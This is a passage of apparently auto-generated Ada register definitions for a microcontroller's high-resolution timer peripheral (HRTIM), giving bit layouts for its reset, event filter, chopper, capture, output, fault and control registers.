with Component_Size => 1, Size => 4;
-- Type definition for RSTA2R_MSTCMP
type RSTA2R_MSTCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- MSTCMP as a value
Val : HAL.UInt4;
when True =>
-- MSTCMP as an array
Arr : RSTA2R_MSTCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for RSTA2R_MSTCMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- RSTA2R_TIMEVNT array
type RSTA2R_TIMEVNT_Field_Array is array (1 .. 9) of Boolean
with Component_Size => 1, Size => 9;
-- Type definition for RSTA2R_TIMEVNT
type RSTA2R_TIMEVNT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TIMEVNT as a value
Val : HAL.UInt9;
when True =>
-- TIMEVNT as an array
Arr : RSTA2R_TIMEVNT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 9;
for RSTA2R_TIMEVNT_Field use record
Val at 0 range 0 .. 8;
Arr at 0 range 0 .. 8;
end record;
-- RSTA2R_EXTEVNT array
type RSTA2R_EXTEVNT_Field_Array is array (1 .. 10) of Boolean
with Component_Size => 1, Size => 10;
-- Type definition for RSTA2R_EXTEVNT
type RSTA2R_EXTEVNT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- EXTEVNT as a value
Val : HAL.UInt10;
when True =>
-- EXTEVNT as an array
Arr : RSTA2R_EXTEVNT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 10;
for RSTA2R_EXTEVNT_Field use record
Val at 0 range 0 .. 9;
Arr at 0 range 0 .. 9;
end record;
-- Timerx Output2 Reset Register
type RSTA2R_Register is record
-- SRT
SRT : Boolean := False;
-- RESYNC
RESYNC : Boolean := False;
-- PER
PER : Boolean := False;
-- CMP1
CMP : RSTA2R_CMP_Field := (As_Array => False, Val => 16#0#);
-- MSTPER
MSTPER : Boolean := False;
-- MSTCMP1
MSTCMP : RSTA2R_MSTCMP_Field := (As_Array => False, Val => 16#0#);
-- TIMEVNT1
TIMEVNT : RSTA2R_TIMEVNT_Field := (As_Array => False, Val => 16#0#);
-- EXTEVNT1
EXTEVNT : RSTA2R_EXTEVNT_Field := (As_Array => False, Val => 16#0#);
-- UPDATE
UPDATE : Boolean := False;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for RSTA2R_Register use record
SRT at 0 range 0 .. 0;
RESYNC at 0 range 1 .. 1;
PER at 0 range 2 .. 2;
CMP at 0 range 3 .. 6;
MSTPER at 0 range 7 .. 7;
MSTCMP at 0 range 8 .. 11;
TIMEVNT at 0 range 12 .. 20;
EXTEVNT at 0 range 21 .. 30;
UPDATE at 0 range 31 .. 31;
end record;
subtype EEFAR1_EE1FLTR_Field is HAL.UInt4;
subtype EEFAR1_EE2FLTR_Field is HAL.UInt4;
subtype EEFAR1_EE3FLTR_Field is HAL.UInt4;
subtype EEFAR1_EE4FLTR_Field is HAL.UInt4;
subtype EEFAR1_EE5FLTR_Field is HAL.UInt4;
-- Timerx External Event Filtering Register 1
type EEFAR1_Register is record
-- External Event 1 latch
EE1LTCH : Boolean := False;
-- External Event 1 filter
EE1FLTR : EEFAR1_EE1FLTR_Field := 16#0#;
-- unspecified
Reserved_5_5 : HAL.Bit := 16#0#;
-- External Event 2 latch
EE2LTCH : Boolean := False;
-- External Event 2 filter
EE2FLTR : EEFAR1_EE2FLTR_Field := 16#0#;
-- unspecified
Reserved_11_11 : HAL.Bit := 16#0#;
-- External Event 3 latch
EE3LTCH : Boolean := False;
-- External Event 3 filter
EE3FLTR : EEFAR1_EE3FLTR_Field := 16#0#;
-- unspecified
Reserved_17_17 : HAL.Bit := 16#0#;
-- External Event 4 latch
EE4LTCH : Boolean := False;
-- External Event 4 filter
EE4FLTR : EEFAR1_EE4FLTR_Field := 16#0#;
-- unspecified
Reserved_23_23 : HAL.Bit := 16#0#;
-- External Event 5 latch
EE5LTCH : Boolean := False;
-- External Event 5 filter
EE5FLTR : EEFAR1_EE5FLTR_Field := 16#0#;
-- unspecified
Reserved_29_31 : HAL.UInt3 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for EEFAR1_Register use record
EE1LTCH at 0 range 0 .. 0;
EE1FLTR at 0 range 1 .. 4;
Reserved_5_5 at 0 range 5 .. 5;
EE2LTCH at 0 range 6 .. 6;
EE2FLTR at 0 range 7 .. 10;
Reserved_11_11 at 0 range 11 .. 11;
EE3LTCH at 0 range 12 .. 12;
EE3FLTR at 0 range 13 .. 16;
Reserved_17_17 at 0 range 17 .. 17;
EE4LTCH at 0 range 18 .. 18;
EE4FLTR at 0 range 19 .. 22;
Reserved_23_23 at 0 range 23 .. 23;
EE5LTCH at 0 range 24 .. 24;
EE5FLTR at 0 range 25 .. 28;
Reserved_29_31 at 0 range 29 .. 31;
end record;
subtype EEFAR2_EE6FLTR_Field is HAL.UInt4;
subtype EEFAR2_EE7FLTR_Field is HAL.UInt4;
subtype EEFAR2_EE8FLTR_Field is HAL.UInt4;
subtype EEFAR2_EE9FLTR_Field is HAL.UInt4;
subtype EEFAR2_EE10FLTR_Field is HAL.UInt4;
-- Timerx External Event Filtering Register 2
type EEFAR2_Register is record
-- External Event 6 latch
EE6LTCH : Boolean := False;
-- External Event 6 filter
EE6FLTR : EEFAR2_EE6FLTR_Field := 16#0#;
-- unspecified
Reserved_5_5 : HAL.Bit := 16#0#;
-- External Event 7 latch
EE7LTCH : Boolean := False;
-- External Event 7 filter
EE7FLTR : EEFAR2_EE7FLTR_Field := 16#0#;
-- unspecified
Reserved_11_11 : HAL.Bit := 16#0#;
-- External Event 8 latch
EE8LTCH : Boolean := False;
-- External Event 8 filter
EE8FLTR : EEFAR2_EE8FLTR_Field := 16#0#;
-- unspecified
Reserved_17_17 : HAL.Bit := 16#0#;
-- External Event 9 latch
EE9LTCH : Boolean := False;
-- External Event 9 filter
EE9FLTR : EEFAR2_EE9FLTR_Field := 16#0#;
-- unspecified
Reserved_23_23 : HAL.Bit := 16#0#;
-- External Event 10 latch
EE10LTCH : Boolean := False;
-- External Event 10 filter
EE10FLTR : EEFAR2_EE10FLTR_Field := 16#0#;
-- unspecified
Reserved_29_31 : HAL.UInt3 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for EEFAR2_Register use record
EE6LTCH at 0 range 0 .. 0;
EE6FLTR at 0 range 1 .. 4;
Reserved_5_5 at 0 range 5 .. 5;
EE7LTCH at 0 range 6 .. 6;
EE7FLTR at 0 range 7 .. 10;
Reserved_11_11 at 0 range 11 .. 11;
EE8LTCH at 0 range 12 .. 12;
EE8FLTR at 0 range 13 .. 16;
Reserved_17_17 at 0 range 17 .. 17;
EE9LTCH at 0 range 18 .. 18;
EE9FLTR at 0 range 19 .. 22;
Reserved_23_23 at 0 range 23 .. 23;
EE10LTCH at 0 range 24 .. 24;
EE10FLTR at 0 range 25 .. 28;
Reserved_29_31 at 0 range 29 .. 31;
end record;
-- RSTAR_CMP array
type RSTAR_CMP_Field_Array is array (2 .. 3) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for RSTAR_CMP
type RSTAR_CMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- CMP as a value
Val : HAL.UInt2;
when True =>
-- CMP as an array
Arr : RSTAR_CMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for RSTAR_CMP_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- RSTAR_MSTCMP array
type RSTAR_MSTCMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for RSTAR_MSTCMP
type RSTAR_MSTCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- MSTCMP as a value
Val : HAL.UInt4;
when True =>
-- MSTCMP as an array
Arr : RSTAR_MSTCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for RSTAR_MSTCMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- RSTAR_EXTEVNT array
type RSTAR_EXTEVNT_Field_Array is array (1 .. 10) of Boolean
with Component_Size => 1, Size => 10;
-- Type definition for RSTAR_EXTEVNT
type RSTAR_EXTEVNT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- EXTEVNT as a value
Val : HAL.UInt10;
when True =>
-- EXTEVNT as an array
Arr : RSTAR_EXTEVNT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 10;
for RSTAR_EXTEVNT_Field use record
Val at 0 range 0 .. 9;
Arr at 0 range 0 .. 9;
end record;
-- RSTAR_TIMBCMP array
type RSTAR_TIMBCMP_Field_Array is array (1 .. 3) of Boolean
with Component_Size => 1, Size => 3;
-- Type definition for RSTAR_TIMBCMP
type RSTAR_TIMBCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TIMBCMP as a value
Val : HAL.UInt3;
when True =>
-- TIMBCMP as an array
Arr : RSTAR_TIMBCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 3;
for RSTAR_TIMBCMP_Field use record
Val at 0 range 0 .. 2;
Arr at 0 range 0 .. 2;
end record;
-- RSTAR_TIMCCMP array
type RSTAR_TIMCCMP_Field_Array is array (1 .. 3) of Boolean
with Component_Size => 1, Size => 3;
-- Type definition for RSTAR_TIMCCMP
type RSTAR_TIMCCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TIMCCMP as a value
Val : HAL.UInt3;
when True =>
-- TIMCCMP as an array
Arr : RSTAR_TIMCCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 3;
for RSTAR_TIMCCMP_Field use record
Val at 0 range 0 .. 2;
Arr at 0 range 0 .. 2;
end record;
-- RSTAR_TIMDCMP array
type RSTAR_TIMDCMP_Field_Array is array (1 .. 3) of Boolean
with Component_Size => 1, Size => 3;
-- Type definition for RSTAR_TIMDCMP
type RSTAR_TIMDCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TIMDCMP as a value
Val : HAL.UInt3;
when True =>
-- TIMDCMP as an array
Arr : RSTAR_TIMDCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 3;
for RSTAR_TIMDCMP_Field use record
Val at 0 range 0 .. 2;
Arr at 0 range 0 .. 2;
end record;
-- RSTAR_TIMECMP array
type RSTAR_TIMECMP_Field_Array is array (1 .. 3) of Boolean
with Component_Size => 1, Size => 3;
-- Type definition for RSTAR_TIMECMP
type RSTAR_TIMECMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TIMECMP as a value
Val : HAL.UInt3;
when True =>
-- TIMECMP as an array
Arr : RSTAR_TIMECMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 3;
for RSTAR_TIMECMP_Field use record
Val at 0 range 0 .. 2;
Arr at 0 range 0 .. 2;
end record;
-- TimerA Reset Register
type RSTAR_Register is record
-- unspecified
Reserved_0_0 : HAL.Bit := 16#0#;
-- Timer A Update reset
UPDT : Boolean := False;
-- Timer A compare 2 reset
CMP : RSTAR_CMP_Field := (As_Array => False, Val => 16#0#);
-- Master timer Period
MSTPER : Boolean := False;
-- Master compare 1
MSTCMP : RSTAR_MSTCMP_Field :=
(As_Array => False, Val => 16#0#);
-- External Event 1
EXTEVNT : RSTAR_EXTEVNT_Field :=
(As_Array => False, Val => 16#0#);
-- Timer B Compare 1
TIMBCMP : RSTAR_TIMBCMP_Field :=
(As_Array => False, Val => 16#0#);
-- Timer C Compare 1
TIMCCMP : RSTAR_TIMCCMP_Field :=
(As_Array => False, Val => 16#0#);
-- Timer D Compare 1
TIMDCMP : RSTAR_TIMDCMP_Field :=
(As_Array => False, Val => 16#0#);
-- Timer E Compare 1
TIMECMP : RSTAR_TIMECMP_Field :=
(As_Array => False, Val => 16#0#);
-- unspecified
Reserved_31_31 : HAL.Bit := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for RSTAR_Register use record
Reserved_0_0 at 0 range 0 .. 0;
UPDT at 0 range 1 .. 1;
CMP at 0 range 2 .. 3;
MSTPER at 0 range 4 .. 4;
MSTCMP at 0 range 5 .. 8;
EXTEVNT at 0 range 9 .. 18;
TIMBCMP at 0 range 19 .. 21;
TIMCCMP at 0 range 22 .. 24;
TIMDCMP at 0 range 25 .. 27;
TIMECMP at 0 range 28 .. 30;
Reserved_31_31 at 0 range 31 .. 31;
end record;
subtype CHPAR_CHPFRQ_Field is HAL.UInt4;
subtype CHPAR_CHPDTY_Field is HAL.UInt3;
subtype CHPAR_STRTPW_Field is HAL.UInt4;
-- Timerx Chopper Register
type CHPAR_Register is record
-- Timerx carrier frequency value
CHPFRQ : CHPAR_CHPFRQ_Field := 16#0#;
-- Timerx chopper duty cycle value
CHPDTY : CHPAR_CHPDTY_Field := 16#0#;
-- STRTPW
STRTPW : CHPAR_STRTPW_Field := 16#0#;
-- unspecified
Reserved_11_31 : HAL.UInt21 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CHPAR_Register use record
CHPFRQ at 0 range 0 .. 3;
CHPDTY at 0 range 4 .. 6;
STRTPW at 0 range 7 .. 10;
Reserved_11_31 at 0 range 11 .. 31;
end record;
-- CPT1ACR_TBCMP array
type CPT1ACR_TBCMP_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for CPT1ACR_TBCMP
type CPT1ACR_TBCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TBCMP as a value
Val : HAL.UInt2;
when True =>
-- TBCMP as an array
Arr : CPT1ACR_TBCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for CPT1ACR_TBCMP_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- CPT1ACR_TCCMP array
type CPT1ACR_TCCMP_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for CPT1ACR_TCCMP
type CPT1ACR_TCCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TCCMP as a value
Val : HAL.UInt2;
when True =>
-- TCCMP as an array
Arr : CPT1ACR_TCCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for CPT1ACR_TCCMP_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- CPT1ACR_TDCMP array
type CPT1ACR_TDCMP_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for CPT1ACR_TDCMP
type CPT1ACR_TDCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TDCMP as a value
Val : HAL.UInt2;
when True =>
-- TDCMP as an array
Arr : CPT1ACR_TDCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for CPT1ACR_TDCMP_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- CPT1ACR_TECMP array
type CPT1ACR_TECMP_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for CPT1ACR_TECMP
type CPT1ACR_TECMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TECMP as a value
Val : HAL.UInt2;
when True =>
-- TECMP as an array
Arr : CPT1ACR_TECMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for CPT1ACR_TECMP_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- Timerx Capture 2 Control Register
type CPT1ACR_Register is record
-- Software Capture
SWCPT : Boolean := False;
-- Update Capture
UDPCPT : Boolean := False;
-- External Event 1 Capture
EXEV1CPT : Boolean := False;
-- External Event 2 Capture
EXEV2CPT : Boolean := False;
-- External Event 3 Capture
EXEV3CPT : Boolean := False;
-- External Event 4 Capture
EXEV4CPT : Boolean := False;
-- External Event 5 Capture
EXEV5CPT : Boolean := False;
-- External Event 6 Capture
EXEV6CPT : Boolean := False;
-- External Event 7 Capture
EXEV7CPT : Boolean := False;
-- External Event 8 Capture
EXEV8CPT : Boolean := False;
-- External Event 9 Capture
EXEV9CPT : Boolean := False;
-- External Event 10 Capture
EXEV10CPT : Boolean := False;
-- unspecified
Reserved_12_15 : HAL.UInt4 := 16#0#;
-- Timer B output 1 Set
TB1SET : Boolean := False;
-- Timer B output 1 Reset
TB1RST : Boolean := False;
-- Timer B Compare 1
TBCMP : CPT1ACR_TBCMP_Field :=
(As_Array => False, Val => 16#0#);
-- Timer C output 1 Set
TC1SET : Boolean := False;
-- Timer C output 1 Reset
TC1RST : Boolean := False;
-- Timer C Compare 1
TCCMP : CPT1ACR_TCCMP_Field :=
(As_Array => False, Val => 16#0#);
-- Timer D output 1 Set
TD1SET : Boolean := False;
-- Timer D output 1 Reset
TD1RST : Boolean := False;
-- Timer D Compare 1
TDCMP : CPT1ACR_TDCMP_Field :=
(As_Array => False, Val => 16#0#);
-- Timer E output 1 Set
TE1SET : Boolean := False;
-- Timer E output 1 Reset
TE1RST : Boolean := False;
-- Timer E Compare 1
TECMP : CPT1ACR_TECMP_Field :=
(As_Array => False, Val => 16#0#);
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CPT1ACR_Register use record
SWCPT at 0 range 0 .. 0;
UDPCPT at 0 range 1 .. 1;
EXEV1CPT at 0 range 2 .. 2;
EXEV2CPT at 0 range 3 .. 3;
EXEV3CPT at 0 range 4 .. 4;
EXEV4CPT at 0 range 5 .. 5;
EXEV5CPT at 0 range 6 .. 6;
EXEV6CPT at 0 range 7 .. 7;
EXEV7CPT at 0 range 8 .. 8;
EXEV8CPT at 0 range 9 .. 9;
EXEV9CPT at 0 range 10 .. 10;
EXEV10CPT at 0 range 11 .. 11;
Reserved_12_15 at 0 range 12 .. 15;
TB1SET at 0 range 16 .. 16;
TB1RST at 0 range 17 .. 17;
TBCMP at 0 range 18 .. 19;
TC1SET at 0 range 20 .. 20;
TC1RST at 0 range 21 .. 21;
TCCMP at 0 range 22 .. 23;
TD1SET at 0 range 24 .. 24;
TD1RST at 0 range 25 .. 25;
TDCMP at 0 range 26 .. 27;
TE1SET at 0 range 28 .. 28;
TE1RST at 0 range 29 .. 29;
TECMP at 0 range 30 .. 31;
end record;
-- CPT2ACR_TBCMP array
type CPT2ACR_TBCMP_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for CPT2ACR_TBCMP
type CPT2ACR_TBCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TBCMP as a value
Val : HAL.UInt2;
when True =>
-- TBCMP as an array
Arr : CPT2ACR_TBCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for CPT2ACR_TBCMP_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- CPT2ACR_TCCMP array
type CPT2ACR_TCCMP_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for CPT2ACR_TCCMP
type CPT2ACR_TCCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TCCMP as a value
Val : HAL.UInt2;
when True =>
-- TCCMP as an array
Arr : CPT2ACR_TCCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for CPT2ACR_TCCMP_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- CPT2ACR_TDCMP array
type CPT2ACR_TDCMP_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for CPT2ACR_TDCMP
type CPT2ACR_TDCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TDCMP as a value
Val : HAL.UInt2;
when True =>
-- TDCMP as an array
Arr : CPT2ACR_TDCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for CPT2ACR_TDCMP_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- CPT2ACR_TECMP array
type CPT2ACR_TECMP_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for CPT2ACR_TECMP
type CPT2ACR_TECMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TECMP as a value
Val : HAL.UInt2;
when True =>
-- TECMP as an array
Arr : CPT2ACR_TECMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for CPT2ACR_TECMP_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- CPT2xCR
type CPT2ACR_Register is record
-- Software Capture
SWCPT : Boolean := False;
-- Update Capture
UDPCPT : Boolean := False;
-- External Event 1 Capture
EXEV1CPT : Boolean := False;
-- External Event 2 Capture
EXEV2CPT : Boolean := False;
-- External Event 3 Capture
EXEV3CPT : Boolean := False;
-- External Event 4 Capture
EXEV4CPT : Boolean := False;
-- External Event 5 Capture
EXEV5CPT : Boolean := False;
-- External Event 6 Capture
EXEV6CPT : Boolean := False;
-- External Event 7 Capture
EXEV7CPT : Boolean := False;
-- External Event 8 Capture
EXEV8CPT : Boolean := False;
-- External Event 9 Capture
EXEV9CPT : Boolean := False;
-- External Event 10 Capture
EXEV10CPT : Boolean := False;
-- unspecified
Reserved_12_15 : HAL.UInt4 := 16#0#;
-- Timer B output 1 Set
TB1SET : Boolean := False;
-- Timer B output 1 Reset
TB1RST : Boolean := False;
-- Timer B Compare 1
TBCMP : CPT2ACR_TBCMP_Field :=
(As_Array => False, Val => 16#0#);
-- Timer C output 1 Set
TC1SET : Boolean := False;
-- Timer C output 1 Reset
TC1RST : Boolean := False;
-- Timer C Compare 1
TCCMP : CPT2ACR_TCCMP_Field :=
(As_Array => False, Val => 16#0#);
-- Timer D output 1 Set
TD1SET : Boolean := False;
-- Timer D output 1 Reset
TD1RST : Boolean := False;
-- Timer D Compare 1
TDCMP : CPT2ACR_TDCMP_Field :=
(As_Array => False, Val => 16#0#);
-- Timer E output 1 Set
TE1SET : Boolean := False;
-- Timer E output 1 Reset
TE1RST : Boolean := False;
-- Timer E Compare 1
TECMP : CPT2ACR_TECMP_Field :=
(As_Array => False, Val => 16#0#);
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CPT2ACR_Register use record
SWCPT at 0 range 0 .. 0;
UDPCPT at 0 range 1 .. 1;
EXEV1CPT at 0 range 2 .. 2;
EXEV2CPT at 0 range 3 .. 3;
EXEV3CPT at 0 range 4 .. 4;
EXEV4CPT at 0 range 5 .. 5;
EXEV5CPT at 0 range 6 .. 6;
EXEV6CPT at 0 range 7 .. 7;
EXEV7CPT at 0 range 8 .. 8;
EXEV8CPT at 0 range 9 .. 9;
EXEV9CPT at 0 range 10 .. 10;
EXEV10CPT at 0 range 11 .. 11;
Reserved_12_15 at 0 range 12 .. 15;
TB1SET at 0 range 16 .. 16;
TB1RST at 0 range 17 .. 17;
TBCMP at 0 range 18 .. 19;
TC1SET at 0 range 20 .. 20;
TC1RST at 0 range 21 .. 21;
TCCMP at 0 range 22 .. 23;
TD1SET at 0 range 24 .. 24;
TD1RST at 0 range 25 .. 25;
TDCMP at 0 range 26 .. 27;
TE1SET at 0 range 28 .. 28;
TE1RST at 0 range 29 .. 29;
TECMP at 0 range 30 .. 31;
end record;
subtype OUTAR_FAULT1_Field is HAL.UInt2;
subtype OUTAR_DLYPRT_Field is HAL.UInt3;
subtype OUTAR_FAULT2_Field is HAL.UInt2;
-- Timerx Output Register
type OUTAR_Register is record
-- unspecified
Reserved_0_0 : HAL.Bit := 16#0#;
-- Output 1 polarity
POL1 : Boolean := False;
-- Output 1 Idle mode
IDLEM1 : Boolean := False;
-- Output 1 Idle State
IDLES1 : Boolean := False;
-- Output 1 Fault state
FAULT1 : OUTAR_FAULT1_Field := 16#0#;
-- Output 1 Chopper enable
CHP1 : Boolean := False;
-- Output 1 Deadtime upon burst mode Idle entry
DIDL1 : Boolean := False;
-- Deadtime enable
DTEN : Boolean := False;
-- Delayed Protection Enable
DLYPRTEN : Boolean := False;
-- Delayed Protection
DLYPRT : OUTAR_DLYPRT_Field := 16#0#;
-- unspecified
Reserved_13_16 : HAL.UInt4 := 16#0#;
-- Output 2 polarity
POL2 : Boolean := False;
-- Output 2 Idle mode
IDLEM2 : Boolean := False;
-- Output 2 Idle State
IDLES2 : Boolean := False;
-- Output 2 Fault state
FAULT2 : OUTAR_FAULT2_Field := 16#0#;
-- Output 2 Chopper enable
CHP2 : Boolean := False;
-- Output 2 Deadtime upon burst mode Idle entry
DIDL2 : Boolean := False;
-- unspecified
Reserved_24_31 : HAL.UInt8 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for OUTAR_Register use record
Reserved_0_0 at 0 range 0 .. 0;
POL1 at 0 range 1 .. 1;
IDLEM1 at 0 range 2 .. 2;
IDLES1 at 0 range 3 .. 3;
FAULT1 at 0 range 4 .. 5;
CHP1 at 0 range 6 .. 6;
DIDL1 at 0 range 7 .. 7;
DTEN at 0 range 8 .. 8;
DLYPRTEN at 0 range 9 .. 9;
DLYPRT at 0 range 10 .. 12;
Reserved_13_16 at 0 range 13 .. 16;
POL2 at 0 range 17 .. 17;
IDLEM2 at 0 range 18 .. 18;
IDLES2 at 0 range 19 .. 19;
FAULT2 at 0 range 20 .. 21;
CHP2 at 0 range 22 .. 22;
DIDL2 at 0 range 23 .. 23;
Reserved_24_31 at 0 range 24 .. 31;
end record;
-- Timerx Fault Register
type FLTAR_Register is record
-- Fault 1 enable
FLT1EN : Boolean := False;
-- Fault 2 enable
FLT2EN : Boolean := False;
-- Fault 3 enable
FLT3EN : Boolean := False;
-- Fault 4 enable
FLT4EN : Boolean := False;
-- Fault 5 enable
FLT5EN : Boolean := False;
-- unspecified
Reserved_5_30 : HAL.UInt26 := 16#0#;
-- Fault sources Lock
FLTLCK : Boolean := False;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for FLTAR_Register use record
FLT1EN at 0 range 0 .. 0;
FLT2EN at 0 range 1 .. 1;
FLT3EN at 0 range 2 .. 2;
FLT4EN at 0 range 3 .. 3;
FLT5EN at 0 range 4 .. 4;
Reserved_5_30 at 0 range 5 .. 30;
FLTLCK at 0 range 31 .. 31;
end record;
subtype TIMBCR_CKPSCx_Field is HAL.UInt3;
-- TIMBCR_DELCMP array element
subtype TIMBCR_DELCMP_Element is HAL.UInt2;
-- TIMBCR_DELCMP array
type TIMBCR_DELCMP_Field_Array is array (2 .. 3) of TIMBCR_DELCMP_Element
with Component_Size => 2, Size => 4;
-- Type definition for TIMBCR_DELCMP
type TIMBCR_DELCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- DELCMP as a value
Val : HAL.UInt4;
when True =>
-- DELCMP as an array
Arr : TIMBCR_DELCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for TIMBCR_DELCMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
subtype TIMBCR_DACSYNC_Field is HAL.UInt2;
subtype TIMBCR_UPDGAT_Field is HAL.UInt4;
-- Timerx Control Register
type TIMBCR_Register is record
-- HRTIM Timer x Clock prescaler
CKPSCx : TIMBCR_CKPSCx_Field := 16#0#;
-- Continuous mode
CONT : Boolean := False;
-- Re-triggerable mode
RETRIG : Boolean := False;
-- Half mode enable
HALF : Boolean := False;
-- Push-Pull mode enable
PSHPLL : Boolean := False;
-- unspecified
Reserved_7_9 : HAL.UInt3 := 16#0#;
-- Synchronization Resets Timer x
SYNCRSTx : Boolean := False;
-- Synchronization Starts Timer x
SYNCSTRTx : Boolean := False;
-- Delayed CMP2 mode
DELCMP : TIMBCR_DELCMP_Field :=
(As_Array => False, Val => 16#0#);
-- unspecified
Reserved_16_16 : HAL.Bit := 16#0#;
-- Timer x Repetition update
TxREPU : Boolean := False;
-- Timerx reset update
TxRSTU : Boolean := False;
-- unspecified
Reserved_19_19 : HAL.Bit := 16#0#;
-- TBU
TBU : Boolean := False;
-- TCU
TCU : Boolean := False;
-- TDU
TDU : Boolean := False;
-- TEU
TEU : Boolean := False;
-- Master Timer update
MSTU : Boolean := False;
-- AC Synchronization
DACSYNC : TIMBCR_DACSYNC_Field := 16#0#;
-- Preload enable
PREEN : Boolean := False;
-- Update Gating
UPDGAT : TIMBCR_UPDGAT_Field := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for TIMBCR_Register use record
CKPSCx at 0 range 0 .. 2;
CONT at 0 range 3 .. 3;
RETRIG at 0 range 4 .. 4;
HALF at 0 range 5 .. 5;
PSHPLL at 0 range 6 .. 6;
Reserved_7_9 at 0 range 7 .. 9;
SYNCRSTx at 0 range 10 .. 10;
SYNCSTRTx at 0 range 11 .. 11;
DELCMP at 0 range 12 .. 15;
Reserved_16_16 at 0 range 16 .. 16;
TxREPU at 0 range 17 .. 17;
TxRSTU at 0 range 18 .. 18;
Reserved_19_19 at 0 range 19 .. 19;
TBU at 0 range 20 .. 20;
TCU at 0 range 21 .. 21;
TDU at 0 range 22 .. 22;
TEU at 0 range 23 .. 23;
MSTU at 0 range 24 .. 24;
DACSYNC at 0 range 25 .. 26;
PREEN at 0 range 27 .. 27;
UPDGAT at 0 range 28 .. 31;
end record;
-- TIMBISR_CMP array
type TIMBISR_CMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for TIMBISR_CMP
type TIMBISR_CMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- CMP as a value
